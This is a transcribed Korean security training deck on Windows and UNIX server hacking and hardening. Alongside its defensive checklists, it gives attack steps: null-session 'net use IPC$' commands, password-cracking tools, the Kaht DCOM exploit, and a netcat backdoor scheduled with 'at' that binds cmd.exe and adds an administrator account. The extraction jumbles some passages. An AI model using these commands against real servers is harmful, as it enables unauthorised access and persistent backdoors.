< DB1E2BEF7BCADB9F6B0FCB8AEC0DAB1B3C0E72DC3D6C1BEBABB2E687770>

Save this PDF as:
 WORD  PNG  TXT  JPG

Size: px
Start display at page:

Download "< DB1E2BEF7BCADB9F6B0FCB8AEC0DAB1B3C0E72DC3D6C1BEBABB2E687770>"

Transcription

1 목 차 Part 1. 해킹동향 Part 1. 해킹동향 Part 1 1. 최신인터넷환경 최신인터넷환경 2. 최신해킹동향 Part 2. Windows 서버해킹 대응기술 최근인터넷을이용한산업의발달로인터넷인프라가질적, 양적인팽창을가져오고있으며이에따라서관공서및기업에서개인에이르기까지다양하게중요한정보를인터넷으로전송하여업무에이용하고있다. 이런상황에서관련기관간에정보수집및해킹에대한관심의고조, 그리고해킹기술의발달로인터넷을이용한해킹이급속도로증가하고있는추세에있다. 이런상황에서아래와같은최근해킹의동향을살펴본다. 1. Windows 서버해킹절차 Windows 해킹기술 해킹대응및보안설정 Part 3. UNIX 서버해킹 대응기술 1. UNIX 서버해킹절차 취약점리스트및해킹기법 해킹대응및보안설정 국내인터넷망구축현황(22개대학 14 개연구기관)

2 Part 1 2. 최신해킹동향 나. 대규모 & 분산화경향 가. 지능화 & 자동화경향 최신의해킹기술은 1차적으로동시에다수의서버를공격하고 1차적으로공격당한서버들은다시 2 차적으로다수의다른서버들에게공격을가하는대규모, 분산화경향이뚜렷하게나타나고있다. (EX) Trinoo, TFN, Stacheldraht 등 최신해킹기법은자동화된스캔및공격을수행하는해킹이증가하고있는상황이다. 공격자가 1차적으로몇대의대상 PC를감염시키면 1차대상 PC는자동적으로취약점이있는 PC 를자동적으로스캔하고공격하는경향이확인이나타나고있다. (EX) SQL_Overflow, Win32/Recovery.worm 등 1-2. 인터넷웜의감염경로 1-3. DDoS의공격방식

3 다. 해킹기술의대중화경향 일반적인해킹기술은편리한인터페이스와자동적인해킹을수행할수있는툴로제작되는속도가빨라졌으며, 인터넷을통하여쉽게취득할수있게되었다. 따라서해킹에대한기술을심도있게학습하지않은일반인도쉽게해킹이가능하게되었다. Part 2. Windows 서버해킹 대응기술 바이러스침투가정비인가된자의접근유관기관 트로이목마공공장소, PC 방개인 PC ( 외부망 ) Internet 개인 PC 자료의불법불법열람, 변조삭제, 파괴컴퓨터시스템의시스템의이상동작해킹경유지로경유지로악용될악용될가능성 네트워크 ( 전산망, 인터넷 ) 서버 어플리케이션 데이터베이스 PC 서비스거부공 용량초과공격 비인가자접근 DB 변조, 파손, 비인가자접근격 (DOS) (SYNFlooding) 자료복사, 파유출 바이러스침투 IP 위조 (IP Spoofing) 인터넷웜 논리폭탄 (Logic Bomb) 트로이목마 괴, 변조 트로이목마 사용자의실수 로그삭제 자료의위치변경 회사기밀자료유출 불법장비부착 장비도난 해킹기술사이클 1 단계 : 취약점발견취약점발견은 source code audting, reverse engineering, RFC 문서연구등을통해이루어진다. 일반적으로취약점을발견한 hacker들은바로취약점을공개하지않으며수개월동안이를이용한공격을행한다. 2 단계 : underground 배포어느정도시간이지나면취약점이 underground hacker 들사이에서널리알려지게된다. 3 단계 : 취약점공개, hacking tool 또는 exploit code 공개보통이단계에서보안권고문이제작되고배포된다. script kiddie들의공격이시작되는단계이다. 이단계에서 exploit이나 hacking tool들은단순한것이특징이다 1-4. 해킹피해유형( 출처 : 한국정보시스템감리인협회) 4 단계 : 취약점 scanning tool 보다전문화된 tool 개발보안전문가나 hacker들에의해서취약점 scanning tool가보다수준높은공격 tool들이개발된다. script kiddie 에의한공격이극성을피우는단계이다. 5 단계 : 새로운취약점등장

4 Part 2 1. Windows 서버해킹절차 가. 정보수집단계 (1) 정의 : 공격하고자하는기업과관련된번호, 주소를전화번호목록에서찾는것과동일하다. (2) 수집정보 도메인이름 (Domain Name) 사용중인 IP 주소와범위침입탐지시스템과침입차단시스템( 방화벽) 의유무접근통제리스트(Access Control List) 의유무사용중인네트워크프로토콜사용중인인터넷서비스네트워크또는호스트에적용중인보안정책등이다 Whois를이용하기위해서 접속 (3) 수집방법 : 웹사이트를이용한정보수집해당조직과관련된일반적인정보해당조직의위치와연락처관련회사와부서웹서버관리자의연락처 (4) Whois 를이용한정보수집 Whois 서버는도메인을등록시입력된정보들을유지하고있다. 가장기초적인정보인네트워크관리자연락처, DNS 서버, ISP 업체, IP 할당대역, DNS 1,2차네임서버정보를보고신뢰관계를파악하며침해사고공조수사시이용된다 whois를이용한정보수집

5 (5) Tracert 를이용한네트워크구조파악 공격자의 system에서 target까지의경로에나타나는 system의 IP 및이름을확인하는방법으로다음과같은정보수집한다. - 이용중인 ISP - Packet Filtering Device의유무 - Bandwidth - 사용되고있는장비의종류및벤더, 모델 - 방화벽유무 - Network topology - 반환되는 TTL값을이용하여 IP spoofing 여부조사 - ACL (Access control List) 의존재유무등파악 2-4. Visual Route 를이용한네트워크정보수집(http://www.visualroute.com) 2-3. 윈도우 OS에서 Tracert를이용한네트워크구조정보수집 2-5. Sam Spade 를이용한정보수집(www.samspade.org)

6 나. 스캐닝단계 (1) Netscantools pro 2000 을이용한스캐닝 검색문자 c:/winnt c:/inetpub TSWeb/default.htm 결과 표준 NT/2000 시스템폴더의페이지를보여준다. 표준 NT/2000 인턴넷서비스루트폴더의페이지를보여준다. 브라우저의내장된 ActiveX 컨트롤을통해접근할수있는 Windows 2000 터미널서비스를보여준다. NetScanTools Pro 검색엔진을이용한정보수집 2-7. netscan 툴을이용한스캐닝방법 (2) Superscan 을이용한스캐닝 2-8. Superscan을이용한스캐닝방법

7 (3) NetBrute 를이용한스캐닝 NetBrute Scanner(http://www.rawlogic.com/products.html) 는아래와같이 3가지스캐닝가능 -NetBrute : NetBrute 는목표시스템의윈도우파일과프린터공유자원을스캔한다 -PortScan : PortScan은인터넷서비스가가능한목표시스템을스캔한다 -WebBrute : WebBrute는웹서비스사용자의패스워드강약을시험하기위해 HTTP인증서비스로보호되고있는웹페이지를스캔한다 (4) 스캐닝대응방법 BlackICE 를사용하여스캐닝을방지할수있다. - 다운로드 : - 사용법 : BlackICE 설치운영 ZoneAlarm 을사용하여스캔을방지할수있다. - 다운로드 : - 사용법 : NetBrute을이용한스캐닝방법 ZoneAlarm 설치운영

8 다. 목록화단계 (2) Netbios 를이용한목록화 (1) Winfingerprint 를이용한목록화 목록화는적극적으로일반사용자계정, 네트워크공유파일, 그리고사용중인응용프로그램과그버전등에대한정보를얻기위한행동이다. 이러한정보는 anonymous FTP나 Banner Grabbing 등과같은방법으로목표네트워크또는시스템에접근하여수집할수있다.(http://winfingerprint.sourceforge.net) 윈도우 NT/2000은기본적으로 NetBIOS 프로토콜을사용하고있기때문에몇가지취약점을가지고있다. - 윈도우 NT/2000 에서널세션을허용할경우, 이를이용하여윈도우 NT/2000에승인받지않은사용자가접근할수있다. - 널세션이란사용자가 ID와패스워드를입력하지않고공유대상인 IPC$ (Inter Process Communications, 프로세스간통신) 에연결하는것이다. - 일반적으로 NetBIOS를사용하는시스템에서는 IPC$, C$( 시스템드라이브), Admin$( 기본관리자공유) 은항상공유되어있다. - 원격지에서널세션을이용하여접속하는것이가능하다면, 공격자에게시스템의사용자계정과공유파일, 프린터에대한정보를제공해줄수있다. Null Session 포트 : TCP와 UDP포트 135 ~ 139 번 Winfingerprint를이용한목록화방법

9 Part 2 2. Windows 해킹기술가. 널세션을이용한해킹기술 이포트들은윈도우 NT/2000 표준설치의시작부분에서종종발견되는것이다. 널세션은 TCP 포트 139번에서만만들어지며그위의다른포트들은종종효율성이라불리는코드를위해필요하다. 일례로포트 135는 RPC 종점매핑에사용된다. 이러한것이우리에게말해주고있는것은이러한널세션이나 RPC 같은것은공공네트웍이나심지어특별한경우에보안이관계되어있다면사설네트웍에서도사용되어서는안된다. 이러한접근유형은세션레이어프로토콜인서버메시지블록(Server Message Block) 과 TCP/UDP/IP 처럼단순한것보단더높은레이어기능을제공하는 NETBIOS를필요로합니다. TCP/IP 연결이포트 139로이루어지면세션레이어프로토콜인 SMB와 NETBIOS와 NT 의히든공유인 IPC$ 에접근하기위해사용된다. NT명령어라인에서이것은다음과같이수행된다. (1) 널세션의개요 c: >Net use! & IPC /user: 널세션(Null Session) 접속은윈도우 NT/2000 으로의인증받지않은접속이다. 윈도우 NT/2000 시스템으로의널세션접근을획득한다는것은해커가윈도우 NT/2000 컴퓨터에대한정보를제공받을수있는방법중하나이다. 널세션으로부터해커들은 API를호출할수있고정보를가져가기위해원격프로시져호출을사용합니다. ( 자료출처 : NTFAQ 운영자, 아래와같은정보를제공받을수있다. 패스워드정보그룹정보서비스정보사용자정보활동중인프로세서정보 이러한기술은프로그래미컬하게레드버튼공격이라불리는오래된방법을이용하여쓰여젔다. 이널세션접속을위해서 Tool들이사용될수있으며표준마이크로소프트 API들이호출된다. 예를들어 WIN32 함수중 LookupAccountName 와 LookupAccountSid 는 SID나 RID를계정이름으로계정이름을 SID나 RID 로바꾸는역할을한다. 이러한함수의예는 user2sid라는프로그램을사용하여확인해볼수있는데이프로그램은 Evgenii Borisovich Rudnyi 이만든것이다. (2) 널세션을이용한익명연결 1 단계 : 자신의컴퓨터에공유되어있는자원확인 : net share 명령 널세션접근은또한특권을확대할때에도그리고 DoS 공격을수행할때도사용될수있다. 아래 TCP/UDP포트테이블을보시고 NT/W2000 에서그들의용도를살펴보자. 키워드십진수설명 loc-srv 135/tcp Location Service (RPC endpoint mapping) loc-srv 135/udp Location Service (RPC endpoint mapping) netbios-ns 137/tcp NETBIOS Name Service netbios-ns 137/udp NETBIOS Name Service netbios-dgm 138/tcp NETBIOS Datagram Service netbios-dgm 138/u에 NETBIOS Datagram Service netbios-ssn 139/tcp NETBIOS Session Service netbios-ssn 139/udp NETBIOS Session Service net share 명령어실행결과

10 1. Admin$ : 컴퓨터를원격관리하는동안시스템에서사용하는공유자원이다. 이공유자원의경로는항상윈도우 2000 시스템폴더( 윈도우 2000 이설치된폴더, 예를들어 C: Winnt) 의경로 2. IPC$ : 프로그램간통신에필요한 named pipe 를공유하는자원이다. 이자원은컴퓨터를원격관리하는동안그리고컴퓨터의공유자원을볼때사용된다. 3. [ 드라이브문자]$ : 관리자가저장장치( 하드디스크등) 의드라이브에접근할수있도록해주는공유자원이다. A$, B$, C$, D$ 등으로표시된다. 예를들어 C$ 는 C 드라이브의공유이름이며, 이자원을사용하여관리자는네트워크를통해 D 드라이브에액세스할수있다. 4. Print$ : 프린터를원격관리하는동안사용하는자원이다 net use 명령어로익명연결의확인 2 단계 : 공격이가능한지확인. 이명령어가잘실행되면널세션을이용하여시스템접근가능. c: >net use IP 주소 IPC$ * /u: [ 참고] 윈도우 NT/2000이설치되어있는시스템을찾는방법 - IP Network Browser( 다운로드 : 을이용하여 SNMP을이용하여운영체제스캔 널세션공격기법의가능여부판별 IP network Browser를이용한윈도우 OS 찾기

11 3 단계 : 사용자계정과공유자원에대한자세한정보를취득 Dumpsec을이용하기위해서는 IPC$ 공유자원에익명연결이되어있어야한다. 사용자계정과공유자원에대한자세한정보를제공할수있는좋은도구이다. Dumpsec을이용하기위해서는 IPC$ 공유자원에익명연결이되어있어야한다.(www.somarsoft.com) 5 단계 : 원격으로공격대상의 C 디렉토리접근, 로그인과정없이 C 디렉토리접근가능 공격대상의 C 디렉토리접근 시스템의공유자원확인 * 널섹션을이용한해킹방지 4 단계 : net use IP 주소 공유자원$ 명령실행하여원격로그인 c: >net use 211.xx.xxx.xxx c$ 1. 일반적으로관리폴더라고해서숨은공유폴더들이제공되고있으며, 관리목적상사용됨( ADMIN$, IPC$, C$,D$ ). 아래와같은레지스트리정보에서변경작업이가능 HKEY_LOCAL_MACHINE System CurrentControlSet Services LanmanServer Param eters - Value name : AutoShareServer ( 서버일경우) - Value name : AutoShareWks ( 프로일경우) - Data Type : DWORD -Value:0(zero) 위값을새롭게생성한후에재부팅전에커맨드에서먼저제거후재부팅 C: > net share d$ /delete ( D$ 을제거시방법) 원격로그인시도-성공 * 암호물어보면암호입력.( 암호크래킹은뒷장참조) 2. 포트차단 - 137~139 port 닫기 port 닫기( HKLM SYSTEM CurrentControlSet Control LsaRegistry Key 편집) - IPC$ 공유해제

12 나. 패스워드크래킹 (2) 패스워드크래킹도구 - ANTExp ANTExp(http://www.elcomsoft.com) -상용, 평가판제공( 기간제한및기능제한) 윈도우 NT/2000 시스템에서사용자계정에대한정보를저장하고있는파일은보안계정관리자(SAM, Security Account Manager) 로 SAM 은사용자이름(ID) 과해쉬(Hash) 알고리즘을이용하여암호화된패스워드를저장. SAM은윈도우 NT/2000 의 winnt system32 config 에저장. 윈도우 NT/2000이실행중일경우에는 SAM 파일을복사하거나이동할수없으며물론읽기도불가능. SAM 파일은매우중요하기때문에( 시스템을사용할사용자계정에대한정보를보유하고있기때문에) 만일을위하여복사본이존재. SAM 파일의복사본은윈도우 NT/2000 루트폴더의하위폴더인 Repair 폴더( winnt repair) 에있다. (1) 패스워드크래킹의종류 ANTExp를이용한공격에서시스템선택 - 사전공격 (Dictionary Attack) : 사전에나오는단어들대부분을가지고있는파일을구성한후, 이파일에있는단어들을사용해서사용자의패스워드를추측하는방법(1만개단어사용한시스템의사용되고있는패스워드중 70% 크랙) 패스워드생성이나변경에사용할문자의종류 - 무작위대입공격 (Brote Force Attack) : 문자 a 부터시작해서 aa, ab, ac 등을시도한다. 만약시스템의패스워드길이가 6자리이하로지정하면 aaaaaa 부터시작. 이공격은시간이많이걸린다. - 혼합공격 (Hybrid Attack) : 일반패스워드는사전에나오는단어뒤에숫자를붙이는형태의패스워드가많다.(ex. Pretty1004) 이러한경우에사전에있는단어뒤에문자나숫자를더연결해서공격하는방법즉, 사전공격과무작위대입공격을합쳐놓은것 ANTExp를이용한공격에서패스워드조합문자선택 (3) 패스워드크래킹도구 - LC

13 LC4 를이용한패스워드크랙(http://www.atstake.com/research/lc) 다. Dcom 취약점을이용한해킹기술 최근에 Blaster Worm은 DCOM 의취약점을이용하였다. windows 2000은기본적으로 DCOM 이활성화되어있으며, service pack 4를설치해도 hotfix를설치하지않는다면취약하다. Kaht.exe는이러한취약점을공격하기위한 remote exploit 이다. exploit 가성공한다면 command shell 을얻을수있다. command shell 을얻었다면사용자계정추가, 패스워드변경이가능하다. c: > kaht.exe 시작주소 끝주소 LC4의패스워드크랙화면 (4) 패스워드크래킹도구 - SMB password crack SMB 패스워드크랙공격은패스워드대입을통해서패스워드를찾아낸다. smbcrack.exe 는 windows 2000 의공유폴더에대한패스워드를찾아내기위해서사전식대입공격을이용한다. windows 2000은디폴트공유가설정되어있으므로공격하기위한취약점이없을경우시도하는방법이다. c: > net use IPC$ * /u:administrator * smbcrack.exe ( 주의 : password file을 1라인에 1 개씩작성) Kaht를이용한해킹 SMB password crack를이용한패스워드크랙화면 [ 참고 ] net명령 nbtstat -N nbtstat -A IP net session net session ip /delete net user someone * /add net localgroup administrators someone /add net user administrator

14 라. 백도어설치 *Kaht공격방지기술 시작 -> 실행 -> dcomcnfg.exe 해제 패스워드없이로그인하기위해서백도어를설치한다. 백도어를시스템에설치하기위해서는먼저공격시스템에백도어프로그램을설치해야하는데만약디폴트공유가해제되어있다면스케쥴서비스를실행시킨뒤스케쥴에등록하여공유디렉토리를설정한다. 이후에백도어를공유디렉토리에복사하고스케쥴에등록한다. 공격자가원격지에서 nc, telnet를이용해서접속하면 command shell 을얻는다. ftp://ftp.microsoft.com/reskit/win2000/sc.zip c: > net use * /u:administrator c: > sc query c: > sclist c: > netsvc schedule /start c: > net time c: > at :00A ""c: nc.exe -l -p e c: winnt system32 cmd.exe"" nc c: > at :00A ""C: winnt system32 net share C=C: "" c: > copy netspy.exe C c: > at... * 백도어탐지 백도어정보를확인하기위해서 netstat 프로그램을이용해서의심가는포트를찾아내고, fport 를이용해서백도어프로그램을중단시킬수있다. (http://www.foundstone.com/index.htm?subnav=resources/navigation.htm&subc ontent=/resources/proddesc/fport.htm)

15 Part 2 3. 해킹대응및보안설정 ID 패스워드도용공격자 Virus & Warm Trojan Horse 인터넷 Week Management 정보유출 / 파괴 불법접근제어등 본서에서는해킹대응및보안설정부분에대해서체크리스트를제공하며이를기반으로체계적인해킹대응및보안설정을수행할수있도록한다. 가. 계정체크리스트 사용자 Week Encryption 데이터가로채기 Cyber 거래서버 내부사용자 데이터훔쳐보기 서버취약점 어플리케이션취약점 사용자흉내내기공격등 패치미적용 사용자인증의취약점 보안 Hole CGI 등 Appl. 취약점 부적절한서버관리 공격자 공격자 1. Default Administrator 계정변경디폴트계정을바꾸지않을경우해커들은계정이름과패스워드를쉽게위험추측할수있다 권장 Default로존재하는 Administrator 계정에대해이름을바꾸거나사용하지못하도록잠그는것이필요하다 2. Default Guest 계정을제거및 ' 사용안함' 으로설정 위 험 Default Guest를변경하지않을경우 Guest계정으로어떤파일이나디렉터리또는레지스터리키를쓰거나지울수있다 권 장 Default로존재하는 Guest 계정에대해이름을바꾸거나사용못하도록잠그는것이필요하다 인터넷서비스의위협요소( 출처 : 한국정보시스템감리인협회) 나. 패스워드체크리스트 1. 취약한패스워드의 Aging 적용 위험패스워드정책이설정되지않을경우, 취약한패스워드가존재할수있다 권 장적절한계정정책의사용을통하여취약한패스워드의사용을제한해야한다 2. Password Cache는 Disable 시킨다 위 험 로그온기록을남김으로써정보가노출될수있다 권 장 로그온기록이안남도록레지스트리에서제거해야한다 설 정 Hive : HKEY_LOCAL_MACHINES Key : SOFTWARE Microsoft Windows NT CurrentVersion Winlogon NAME : CachedLogonsCount TYPE : REG_SZ VALUE : 0으로설정

16 다. 로그온정책체크리스트 라. 파일시스템체크리스트 1. 인증이실패하여다시시도하는최대횟수를지정 위험비인가자들이로그온을계속시도될수있다. 권 설 장인증시도횟수를지정해야한다 정 Hive : HKEY_LOCAL_MACHINES Key :SYSTEM CurrentControlSet Services RemoteAccess Parameter NAME : AuthenticateRetries TYPE : REG_SZ VALUE : 0~10 내의범위로설정 2. 인증을위한최대제한시간을설정 위험비인가자들에게로그온접근이노출될수있다 권장인증을위한최대제한시간을설정해야한다 설 정 Hive : HKEY_LOCAL_MACHINES Key:SYSTEM CurrentControlSet Services RemoteAccess Parameter NAME : AuthenticateTime TYPE : REG_SZ VALUE : 20~600 내의범위로설정 3. Admin으로자동로그ON 되지않도록설정 위험자동으로 Admin 권한으로로그인되었을때정보가누출될수있다 1. 파일시스템은 NTFS를사용한다 위험 권 장 파일시스템을 NTFS 로설정하지않을경우허가되지않은사용자의접근을제한할수없다 파일과디렉터리별로사용자접근권한과보안감사를설정하기위해 NTFS 파일시스템으로설정하여야한다 2. 불필요한공유디렉토리가존재하지않도록한다 위험 권장 설 정 공유된디렉터리는외부공격시목표가될수있으므로, 필요하지않을경우공유를해지해야한다 공유디렉터리에적절한접근권한의설정이필요하며, 만약공유시사용자가지정되어있어야한다 registry 편집 (regedit) Hive : HKEY_LOCAL_MACHINE Key : System CurrentControlSet Services LanmanServer Parameters Name : AutoShareServer Type : REG_DWORDVALUE : 0으로설정 3. Shutdown할때Page File을지운다 위험기존환경에대한기록이노출될수있다. 권장레지스트리설정을통하여 Page File 을지우도록설정해야한다. 권장 Admin 권한으로자동로그 ON이안되도록해야한다 설 정 Hive : HKEY_LOCAL_MACHINES Key :SYSTEM System CurrentConsoleSet Services RemoteAccess Paramet ers NAME : Autoadminlogon TYPE : REG_SZ VALUE : 0으로설정 설 정 registry 편집 (regedit) Hive : HKEY_LOCAL_MACHINE Key:System CurrentControlSet Control Session Manage Memory Management Name : ClearPageFileAtShutdown Type : REG_DWORD Value : 1으로설정

17 마. 접근통제체크리스트 바. 서비스최적화체크리스트 1. 원격에서로그인한사용자가시스템을 shutdown할수없도록한다 1. 외부로부터의 NetBIOS를이용한불필요한접근을제한 위험 원격에서시스템을셧다운할수있는권한을제한함으로써시스템피해를방지할수있다 위 험 NetBIOS 가실행중일경우네트워크내에있는도메인및로그온사용자, 작동중인서비스들의정보가유출될위험이있다 권장원격에서허가된사용자만이시스템을 shutdown 할수있어야한다. 설 정 registry 편집 (regedit) Hive : HKEY_LOCAL_MACHINE Key : System CurrentControlSet Services LanmanServer Parameters Name : AutoShareServer Type : REG_DWORD normal : 0, refues reset=1으로설정 권장 파일서버, 도메인컨트롤서버인경우를제외하고는, 외부로부터의 NetBIOS 를이용한접근을허용하지않아야한다 2. 적절하지않은서비스는중지한다 위험 불필요한서비스를 open 함으로써원격시스템에서공격을할수있는기회를제공 2. 원격에서 Anonymous의레지스트리접근을차단익명의사용자가레지스트리의값을수정하는것을제한함으로써시스템이위험손상되는것을방지할수있다 권장 시스템이수행하는역할에맞는적절한서비스가수행되고있는지주기적인확인필요 권장레지스트리 winreg값과 remote registry service 확인해야한다 설정서비스에서remote registry service 중지 3. Anonymous( 익명의) Network Access를통한정보수집제한 위 권 설 정 험 장 Null session 을통해가능한정보의유출, 사용자계정과공유리스트를노출할수있다. NetBIOS의 Null Session을이용한 Network 접근을통하여 System의정보를수집하는것을제한한다. registry 편집 (regedit) Hive : HKEY_LOCAL_MACHINE Key : SYSTEM CurrentControlSet Control LSA Name : RestrictAnonymous Type : REG_DWORD value: 1으로설정 4. 일정시간동안시스템을사용하지않을경우, 시스템을 Lock할수있는화면보호기설정 위험 권장 관리자가작업도중부재시화면보호기를설정하고 Lock 을설정함으로써악의를품은다른사용자가시스템에접근하는것이불가능하게한다 물리적접근의제한과함께일정시간동안시스템을사용하지않을경우 Console 상으로의접근을허용하지않도록화면보호기에암호를설정한다 설 정 불필요한서비스 Alerter, ClIPBook Server, Computer Browser, DHCP Client Directory Replicator ( 로그온스크립트복제기능이필요없는경우) Messenger, NetLogon ( 단, 클라아언트의로그온이필요없는경우) Network DDE, Network DDE DSDM, Plug and Play Remote Procedure Call (RPC) Locator, SNMP Trap Service Spooler ( 프린터를사용하지않을경우), Service Workstation (Required for Raptor Firewall TCP/IP NetBIOS Helper, Telephony Service 3. SNMP 서비스의 Community String이 Default(Public, Private) 로설정되어있지않도록한다 위험 기본적으로설정된 public, private community string을이용해서내부시스템에불법적인접근이가능하다 권장불필요한서비스는중지시켜야한다 설정 불필요하다면 SNMP Service 중지, 필요하다면등록정보 보안탭에서커뮤 니티를 Default 가아닌영자, 숫자, 특수기호포함된스트링으로구성

18 사. 로그관리체크리스트 아. IIS 체크리스트 1. General/System Auditing 을수행하라 위험 권장 설 정 사용자관리자의정책메뉴에서해당되는감사부분을설정해야시스템의이상징후시추적이가능하다 시스템의이상징후발견및사후조치를위하여 General/System Auditing을수행 Hive : HKEY_LOCAL_MACHINES Key : SYSTEM CurrentControlSet Control Lsa NAME : Crashonauditfail TYPE : REG_DWORD VALUE : 1 2. 이벤트감사를사용하여, 시스템의비정상적인활동모니터링 위험 권장 이벤트감사를사용하여얼마나자주비인가자가시스템에들어오는지탐지하는데도움 로그인 파일접근실패등을선택하여 일정기간동안로그보관을통하여장 기관리 3. Anonymous( 익명의) 에의한 Event View 기능제한 위 권 설 정 험 장 4. IIS 로그관리 Event Log의View기능을제한함으로써해커로부터시스템에설정해놓은이벤트설정사항이노출되는것을방지할수있다. Anonymous( 익명) 에의한 Event log의 view 기능을제한하지않을경우는모든사용자에의해서 event log의조회가가능하므로이에대한설정을레지스트리에서해준다 Hive: HKEY_LOCAL_MACHINE Key: System CurrentControlSet Services EventLog [LogName] Value Name: RestrictGuestAccess, Data Type : REG_DWORD Value Data: 위험로그가없다면보안침해사고발생여부를확인할수없다 권장로그인, 접속 IP, 파일접근실패등을선택하여, 일정기간동안로그보관 설 정 제어판 관리도구 인터넷서비스관리자 가동웹서비스등록정보 로깅 에서설정가능 1. msadcs.dll 이존재여부 위험 msadcs.dll 파일이버퍼오버플로우의공격으로사용될위험이있다 권장 msadcs.dll 파일을삭제하는것이좋다 2. RDS(Remote Data Service) 취약점제거 위 험 RDS를통해서비스거부공격이나원격에서관리자권한으로임의의명령수행할수있다 권장 RDS 와관련된파일은제거해야한다. 설 정 1) 레지스트리키를삭제( 아래참조) 2) msadc.dll를삭제한다 3)C: ProgramFiles Common Files System Msadc 아래서브디렉토리와파일들을모두삭제한다. Hive: HKEY_LOCAL_MACHINE Key:System CurrentControlSet Control Service W3SVC Parameters ADCLaunch RDSServer.DataFactor y Hive: HKEY_LOCAL_MACHINE Key:System CurrentControlSet Control Service W3SVC Parameters ADCLaunch AdvancedDataFactory Hive: HKEY_LOCAL_MACHINE Key:System CurrentControlSet Control Service W3SVC Parameters ADCLaunch VbBusObj.VbBusObjCls 3. 디폴트설치되는샘플파일/ 디렉터리를제거한다 위 험 비권한자또는익명의사용자가웹서버설치시default로존재하는샘플파일및디렉터리에모든권한을제공하기때문에심각한보안위험사태가존재할가능성이있다 권장샘플/ 디렉터리를제거해야한다

19 자. FTP 체크리스트 1. FTP 디폴트계정및익명접속관리를차단계정의재명명을하지않을경우해커들은계정이름과패스워드를쉽게추위험측할수있으며, 익명접속하여쉽게침투할수도있다 Part 3. UNIX 서버해킹 대응기술 권 장 Default로존재하는 ftp 계정에대해이름을바꾸거나사용하지못하도록잠그는것이필요하며, Anonymous Ftp 서비스는중지시켜놓아야한다 설 정 제어판 관리도구 인터넷서비스관리자 가동FTP 서비스등록정보 FTP익명접속체크박스해제 에서설정가능 일반적인보안구성도 2. FTP의홈디렉토리가 Default가아닌다른디렉토리로적용 위 험 Default 홈디렉토리를바꾸지않을경우해커들은홈디렉토리를쉽게추측할수있다 권장홈디렉토리를다른디렉토리로적용되어야한다. 설 정 제어판 관리도구 인터넷서비스관리자 가동FTP서비스등록정보 Default Home Directory 변경 에서설정가능 차. Patch 체크리스트 라우터: 동일한전송프로토콜을사용하는분리된네트워크를연결하는장치로서네트워크계층간을서로연결하는장치 1. MS SQL Worm 감염여부확인 위험 감염되면다른서버로자동화된악의성코드에의한접속을시도할위험이있다 권장웜바이러스에노출이안되도록최신버전과패치를유지한다 2. 최신의서비스팩과 Hot fix 설치 위험 시스템의상황을이해하여최근에나온서비스팩및보안패치를적용하여시스템에발생될위험을감소시킨다 권장 Microsoft사에서제공되는최신의서비스팩및 Hot fix를설치하여야한다 방화벽 : 두네트워크사이의트래픽을제어하기위해특별히구성된시스템으로서패킷필터에서부터, 다중필터, 전용프락시서버, 로깅컴퓨터, 스위치, 허브, 라우터및전용서버등을말함. N-IDS : 침입탐지시스템으로서 NIDS, HIDS, LIDS 세종류가있음 - NIDS: 네트워크를통해일어나는침입을탐지하는 10/100 Mbps의이더넷 (Ethernet) 용네트워크기반침입탐지시스템. 라우터나게이트웨이 (gateway) 뒤에설치하여운영되며프로미스큐어스(promiscuous) 모드로동작, 지나가는모든패킷을검사하도록되어중소규모의네트워크환경에적합하다

20 - HIDS: 시스템내부에서일어나는침입을탐지하는호스트기반침입탐지시스템각각의 UNIX 시스템에설치하여운영되므로복잡한스위칭네트워크환경에적합. -LIDS: 리눅스커널을통해침입자에대해보호, 탐지, 응답의세가지기능을제공함. Part 3 1. UNIX 서버해킹절차 해커의침입영역 가. 정보수집 해커는공격대상에대한각종정보및취약점을수집하여해킹에이용하려는조사단계를거친다. 정찰단계에서얻어낸 target 시스템에대한정보(OS 종류, 현재제공되어지고있는서비스종류, 열린포트) 등을이용하여취약점을찾아냄 - 대상결정 ( 도메인또는단일호스트) - 대상네트워크또는시스템의정보수집호스트명(Host name) 파악 IP 주소(IP address) 파악호스트기종파악운영체제종류및버전파악 Network 구성및형태파악신뢰관계에있는호스트파악사용자이름및 ID, Password 파악 - 대상사이트에대한기본정보수집다음사이트로이동 (www.internic.net) 회사명을입력 - 네트워크공격이가능하다. - 서버에대한공격이가능하다. - 내부망에대한네트워크서비스, 운영체계, 응용프로토콜, 응용프로그램에대한공격이 가능하다. - 해커의침입이후에는신뢰관계를맺은서버로의공격확대 3-1. Internic.net에접속하여정보수집

21 [ 참고] Internic 월드와이드웹(WWW) 을위한.com.net 및.org 등 최상위도메인이름의등록및유지관 리책임을맡고있던조직. 실제등록업무는 " 네트웍솔루션사(Network Solutions, Inc.)" 에 의해수행. 1998년 10 월에발표된미국정부의새로운정책에따라, 최상위계층도메인이 름의등록에경쟁원리가도입되고, 등록인가절차를운영하기위한새로운비영리통합기구 로 ICANN이지정. ICANN은초기에기존의네트웍솔루션사외에도다섯개의새로운등록 회사들을지정하였으며, 2 개월간의시험기간을두었음. 이시험기간이후에등록기관의 추가지정이기대. 나. 스캐닝 Bigwidget 라는웹사이트를공격목표로삼음 3-2. bigwidget.com에대해서서비스확인 hacker: ~$ telnet bigwidget.com 25 ==> 이해커는 sendmail 서비스가사용하는 25 번포트를통해서서버에접속을시도한다. Connected to bigwidget.com ==> 몇분후에마치성공적으로접속된것처럼보인다. Connection closed by foreign host. ==> 그러다가갑자기접속이끊어진다. 이상황을보고대상서버에현재방화벽이연결되어있다는사실을알수있다. hacker: ~$ telnet bigwidget.com 143 ==> 방화벽은네트워크보안을위한최선의방비책이되지못하다는점을해커는알고있다. 해커는그서버의다른포트를탐색하고우연히 IMAP 포트(143) 가열려있는것을발견하게된다. 그리고대상서버의보안결함도발견된다

22 다. 수집정보에대한해킹기술정보수집 해커는루트쉘사이트에서에서 IMAP 포트를이용한악성코드를찾는다인터넷에수많은해킹전문사이트가존재한다이사이트들은 Os 종류에따른많은취약점과해킹방법정보를제공하고있다. Ex) bigwidget.com에대해서오픈포트확인 3-4. 해킹사이트를이용한해킹방법취득 IMAP: "Internet Message Access Protocol" 의약자로서로컬서버로부터 을읽기위한표준프로토콜로서버전은 IMAP4 까지나와있다. IMAP 서버의버퍼오버플로우취약점을이용한해킹프로그램이인터넷상에널리퍼져있으므로이프로그램의사용에주의가필요하다. 현재사용가능한 exploit( 공격코드) 를이용한다

